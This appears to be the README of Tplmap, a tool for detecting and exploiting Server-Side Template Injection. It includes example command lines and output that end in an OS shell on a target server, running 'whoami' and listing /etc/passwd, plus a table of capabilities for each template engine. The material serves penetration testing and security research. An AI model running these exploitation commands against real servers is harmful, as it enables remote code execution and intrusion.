Tplmap (short for Template Mapper) is a tool that automate the process of detecting and exploiting Server-Side Template Injection vulnerabilities (SSTI).
This can be used by developers, penetration testers, and security researchers to detect and exploit vulnerabilities related to the template injection attacks.
The technique can be used to compromise web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.
The modular approach allows any contributor to extend the support to other templating engines or introduce new exploitation techniques. The majority of the techniques currently implemented came from the amazing research done by James Kett, PortSwigger.
Tplmap is able to detect and exploit rendered and blind SSTI and exploit injections in text and code contexts.
The application is currently under heavy development and misses some functionalities.
$ ./tplmap.py -u 'http://www.target.com/app?id=*'
[+] Tplmap 0.1c
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Found placeholder in GET parameter 'inj'
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '#set($c=*)\n${c}\n'
[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:
Engine: Jade
Injection: \n= *\n
Context: text
OS: darwin
Technique: render
Capabilities:
Code evaluation: yes, javascript code
OS command execution: yes
File write: yes
File read: yes
[+] Rerun tplmap providing one of the following options:
--os-cmd or --os-shell to access the underlying operating system
--upload LOCAL REMOTE to upload files to the server
--download REMOTE LOCAL to download remote files
$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.
linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r-- 1 root wheel 5925 16 Sep 2015 /etc/passwd
linux $
| Template engine | Detection | Command execution | Code evaluation | File read | File write |
|---|---|---|---|---|---|
| Mako | render+blind | yes | python | yes | yes |
| Jinja2 | render+blind | yes | python | yes | yes |
| Jade | render+blind | yes | javascript | yes | yes |
| Smarty (unsecured) | render+blind | yes | PHP | yes | yes |
| Freemarker | render+blind | yes | no | yes | yes |
| Velocity | render | no | no | no | no |
| Twig | render | no | no | no | no |
| Smarty (secured) | render | no | no | no | no |